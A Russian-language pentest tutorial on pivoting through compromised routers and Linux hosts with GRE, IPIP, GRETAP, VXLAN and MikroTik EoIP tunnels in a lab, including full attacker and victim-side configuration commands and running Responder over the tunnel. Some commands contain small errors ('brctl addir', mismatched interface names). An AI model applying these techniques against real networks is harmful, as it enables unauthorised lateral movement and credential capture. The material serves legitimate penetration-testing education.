Мы уже рассказывали про техники туннелирования при пентесте. Сегодня продолжим эту тему и рассмотрим тему туннелирования при пивотинге. В этом небольшом исследовании я продемонстрирую несколько техник пивотинга с использованием провайдерских протоколов. Это концепция в духе «living off the land»: я просто буду использовать особенности сетевых протоколов и добьюсь импакта для атакующей стороны. При этом я не буду использовать сторонние пентестерские утилиты.
Еще по теме: Ethernet-туннели при пивотинге
Туннелирование при пивотинге
В этом сценарии атакующий построит GRE-туннель между собой и пограничным роутером, а затем сквозь сам роутер поверх GRE-туннеля сможет взаимодействовать с тремя сегментами и расширить свое присутствие в сети.
Настройка на стороне атакующего (я выбрал Kali Linux) выглядит следующим образом:
|
1 2 3 |
sudo ip link add name gretunnel type gre local 218.123.134.80 remote 128.78.23.45 sudo ip addr add 10.10.10.1/24 dev gretunnel sudo ip link set dev gretunnel up |
Обрати внимание на адресацию 10.10.10.0/24. Это внутренняя адресация в GRE-туннеле, нужная для его корректной работы.
Теперь настраиваем пограничный роутер Cisco:
|
1 2 3 4 5 6 7 8 |
NightmareBorder# conf t NightmareBorder(config)# interface tunnel 10 NightmareBorder(config-if)# tunnel source 128.78.23.45 NightmareBorder(config-if)# tunnel destination 218.123.134.80 NightmareBorder(config-if)# ip address 10.10.10.2 255.255.255.0 NightmareBorder(config-if)# no shutdown NightmareBorder(config-if)# end NightmareBorder# write mem |
GRE-туннель активен, теперь самое время прописать маршруты до целевых сегментов. Атакующий, оказавшись на пограничном роутере (сценарий постэксплуатации), может сам изучить таблицу маршрутизации и узнать, до каких сегментов ему писать маршруты. В лабораторной сети этих сегментов три:
|
1 2 3 |
sudo route add -net 10.10.200.0 netmask 255.255.255.0 gw 10.10.10.2 sudo route add -net 10.10.220.0 netmask 255.255.255.0 gw 10.10.10.2 sudo route add -net 10.10.240.0 netmask 255.255.255.0 gw 10.10.10.2 |
Шлюзом для этих подсетей выступает удаленная сторона GRE-туннеля (10.10.10.2), то есть мы таким образом прописываем маршруты сквозь пограничный роутер, как и предполагалось в сценарии. После настройки маршрутов атакующий может взаимодействовать с этими сегментами и развивать новые векторы атак.
Как мы видим, TCP-сегменты достигают целевой сети 10.10.200.0/24, на скриншоте ты также можешь заметить заголовок GRE, благодаря которому и работает пивотинг.
IPIP (L3)
IPIP (IP in IP) — туннель сетевого уровня L3, он очень похож на протокол GRE, но сама инкапсуляция происходит во второй IP-заголовок. Такой туннель прост в эксплуатации и работает в режиме «IP over IP». С помощью IPIP атакующий также может построить L3-туннель сквозь взломанный хост. В сценарии с IPIP целью будет взломанный сервер на Debian. Предположим, что на той же машине есть второй интерфейс с адресацией 192.168.252.0/24 (Warehouse).
Настройка атакующей машины для IPIP выглядит следующим образом, здесь ничего экстраординарного:
|
1 2 3 |
sudo ip link add name ipiptunnel type ipip local 218.123.134.80 remote 128.78.23.45 sudo ip addr add 10.10.10.1/24 dev ipiptunnel sudo ip link set dev ipiptunnel up |
На взломанном сервере с Debian настройка такая же, но наоборот:
|
1 2 3 |
sudo ip link add name ipiptunnel type ipip local 128.78.23.45 remote 218.123.134.80 sudo ip addr add 10.10.10.2/24 dev ipiptunnel sudo ip link set dev ipiptunnel up |
Теперь IPIP-туннель между атакующим и взломанным сервером становится активным и атакующий сможет развивать атаки на сеть 192.168.252.0/24 (Warehouse):
|
1 |
sudo route add -net 192.168.252.0 netmask 255.255.255.0 gw 10.10.10.2 |
Как видно на скриншоте, полезная нагрузка при TCP-сканировании (с помощью Nmap) была инкапсулирована в IP-заголовок, что доказывает характеристику протокола IPIP (IP over IP).
GRETAP (L2)
GRETAP — это TAP-интерфейс, который работает в режиме GRE. На самом деле протокол GRE может транспортировать не только IP-трафик, но и Ethernet-кадры. В таком случае значение Protocol Type будет равно 0x6558. Так что сейчас речь идет о L2-туннелировании. L2-туннели позволяют злоумышленнику проводить атаки канального уровня, использовать Responder, mitm6 и прочие средства. В нашем сценарии атакующий уже получил доступ к некой машине на Debian, именно с нее он будет строить L2-туннель с помощью GRETAP-интерфейсов.
Этот вектор туннелирования будет развиваться из ранее созданного сценария с GRE-туннелем, то есть возникает туннель в туннеле. Потенциально же такая атака может происходить из любой точки инфраструктуры, как раз благодаря GRE-инкапсуляции, которая будет транспортировать всю полезную нагрузку. Сама ситуация «туннель в туннеле» бывает не всегда, это просто пример из головы.
С настройками здесь будет посложнее по сравнению с L3-туннелями. В дело вступают bridge (бриджи/мосты). Это специальные логические устройства, куда помещаются физические интерфейсы. Чтобы обеспечить себя L2-доступом, атакующий должен создать мост на взломанной машине, а также поместить туда ее физический интерфейс и виртуальный TAP-интерфейс, причем необходимо соблюдать порядок команд и исполнить их как одну с помощью точки с запятой. Конфигурации L2-туннелей не прощают ошибок: если ты где‑то напутал, есть риск потерять доступ к скомпрометированной машине, а это очень большой удар для пентестера.
Начнем с настроек на стороне атакующего. GRETAP-туннель между 10.10.10.1 (Kali) и 10.10.220.3 (целевая машина Debian с рутовым доступом):
|
1 2 |
sudo ip link add name thegretap type gretap local 10.10.10.1 remote 10.10.220.3 sudo ip link set dev thegretap up |
На стороне взломанной машины настройка происходит в несколько этапов:
- создание GRETAP-интерфейса и его активация;
- создание бриджа;
- добавление в бридж GRETAP-интерфейса;
- удаление существующего адреса с интерфейса и его перемещение на bridge (это делают, чтобы не потерять сетевую связность, так как после добавления интерфейса в бридж сам интерфейс подчиняется бриджу, и
- по‑хорошему бы стоит назначить адрес на сам бридж);
- добавление физического интерфейса ОС в бридж;
- активация работы бриджа;
- назначение адреса шлюза по умолчанию (когда мы удаляли адрес из интерфейса — исчезал и маршрут по умолчанию).
|
1 2 3 4 5 |
sudo ip link add name thegretap type gretap local 10.10.220.3 remote 10.10.10.1 sudo ip link set dev thegretap up sudo brctl addbr bridge sudo brctl addir bridge thegretap sudo ip addr del 10.10.220.3/24 dev eth0; sudo ip addr add 10.10.220.3/24 dev bridge; sudo brctl addif bridge eth0; sudo ip link set dev bridge up; sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.220.254 |
Теперь на GRETAP-интерфейсе атакующего пошел движ. Мы видим здесь присутствие протокола STP — это уже доказывает, что мы обеспечили себя именно L2-туннелем, так как STP — протокол канального уровня.
Теперь необходимо получить адрес на GRETAP-интерфейс из пространства 10.10.220.0/24.
|
1 |
sudo dhclient -v tap0; sudo route del default |
На этом настройка GRETAP подходит к концу, атакующий теперь может позволить себе атаки канального уровня.
|
1 |
sudo responder -I thegretap |
Таким образом можно провести L2-пивотинг с помощью GRETAP-интерфейсов.
VXLAN (L2)
VXLAN (Virtual EXtensible LAN) — сетевой протокол, позволяющий строить L2-туннели поверх UDP (UDP/4789). VXLAN-пивотинг тоже может развиваться из любой точки инфраструктуры, но я повторю ситуацию «туннель в туннеле», где атакующий попал внутрь сети с помощью GRE. Опять же не зацикливайся на этом, это просто мой пример. Мне было удобнее собирать для тебя практический мануал, находясь в той же лабораторной сети в EVE-NG.
Машина атакующего и скомпрометированная машина будут VTEP’ами. VTEP (Virtual Tunnel Endpoint) — устройства, на которых строится и терминируется туннель VXLAN, они занимаются инкапсуляцией и деинкапсуляцией VXLAN-заголовков.
Приступим к настройке туннеля между атакующим (Kali Linux, 10.10.10.1) и целевой Debian-машиной (10.10.220.2). Также назначим VNI (это идентификатор VXLAN-туннеля), он будет равен 10. UDP-порт назначения с обеих сторон одинаковый — 4789. VXLAN может работать в двух режимах: multipoint и point-to-point, я выберу второй вариант.
|
1 2 |
sudo ip link add name thevxlan type vxlan id 10 local 10.10.10.1 remote 10.10.220.2 dstport 4789 sudo ip link set thevxlan up |
На стороне целевой машины c Debian VXLAN настраивается так же, однако придется снова попотеть над настройкой бриджа, как это было с GRETAP.
|
1 2 3 4 5 |
sudo ip link add name thevxlan type vxlan id 10 local 10.10.220.2 remote 10.10.10.1 dstport 4789 sudo ip link set thevxlan up sudo brctl addbr bridge sudo brctl addir bridge thevxlan sudo ip addr del 10.10.220.3/24 dev eth0; sudo ip addr add 10.10.220.3/24 dev bridge; sudo brctl addif bridge eth0; sudo ip link set dev bridge up; sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.220.254 |
На этом настройка VXLAN с обеих сторон заканчивается, на VXLAN-интерфейсе атакующего мы видим трафик протоколов канального уровня (STP, CDP), что доказывает получение именно L2-доступа.
Затем получаем адрес на интерфейсе VXLAN с последующим удалением шлюза по умолчанию.
|
1 |
sudo dhclient -v tap0; sudo route del default |
И в этот раз не побрезгую запустить Responder.
EoIP (L2)
EoIP (Ethernet over IP) — это проприетарный протокол MikroTik, позволяющий строить L2-туннели поверх интернета, но для этого используется GRE-инкапсуляция. По факту EoIP — это абсолютно то же самое, что и GRETAP-интерфейсы в Linux, различия лишь в Proto Type (для EoIP в GRE это значение 0x6400, для GRETAP-туннелей — 0x6558).
При постэксплуатации RouterOS (именно эта система используется на оборудовании MikroTik) атакующий может построить L2-туннель между собой и целевым бриджем с помощью EoIP, однако для работы EoIP в дистрибутивах Linux нужен модуль eoip. Атакующему достаточно создать EoIP-интерфейс в RouterOS, затем поместить его внутрь бриджа (в 90% случаях в настройках RouterOS используются бриджи).
На своей стороне атакующему достаточно собрать модуль из репозитория и запустить интерфейс, при этом создав TAP-интерфейс для корректной работы модуля от katlogic.
Атакующий из интернета может оказаться в целевой сети на уровне L2, но это крайне специфический сценарий и имеет право на существование только в момент постэксплуатации.
Настройки на стороне атакующего выглядят следующим образом: создается TAP-интерфейс, запускается модуль, туннелю задается ID 100:
|
1 2 3 |
sudo ip tuntap add mode tap tap0 sudo ip link set tap0 up sudo ./eoip tap0 218.123.134.80 128.78.23.45:100 |
На стороне RouterOS аналогично, но при этом нужно поместить созданный EoIP-интерфейс в существующий бридж внутри RouterOS для получения L2-доступа. Тут используется версия RouterOS v6:
|
1 2 |
/interface eoip add name=thenightmare local-address=128.78.23.45 remote-address=218.123.134.80 tunnel-id=100 /interface bridge port add interface=thenightmare bridge=LAN |
После этих настроек EoIP-туннель будет установлен. На TAP-интерфейсе атакующего уже есть трафик, адрес по DHCP получен.
Таким образом можно провести своеобразный пивотинг сквозь RouterOS и проводить атаки канального уровня. Вектор крайне необычный, однако есть шанс, что им можно будет воспользоваться в корпоративных сетях.
Пивотинг vs Windows
Как ты заметил, все описанные выше приемы продемонстрированы именно на Linux. Почему так получилось? Потому что десктопные редакции Windows не поддерживают протоколы туннелирования вроде GRE и VXLAN. Возможно, их поддержка есть в Windows Server, но в эту тему я не углублялся. Однако и здесь есть решение, хоть и довольно экзотическое.
В июле этого года я сделал «ремикс» статьи «Пингвин‑супершпион» в исполнении s0i37. Мне пришла в голову мысль развернуть виртуальный маршрутизатор CHR на VirtualBox внутри самой Windows. Так я провел L2-пивотинг и атаки канального уровня в целевой сети, используя хост с Windows. Метод скорее экспериментальный, но работает. Виртуальный CHR поддерживает протоколы EoIP, VXLAN, IPIP, GRE и другие.
Заключение
Методы крайне специфические, но, если ты понимаешь всю картину и знаешь матчасть, у тебя не возникнет проблем и эти приемы приведут к успеху.
ПОЛЕЗНЫЕ ССЫЛКИ:
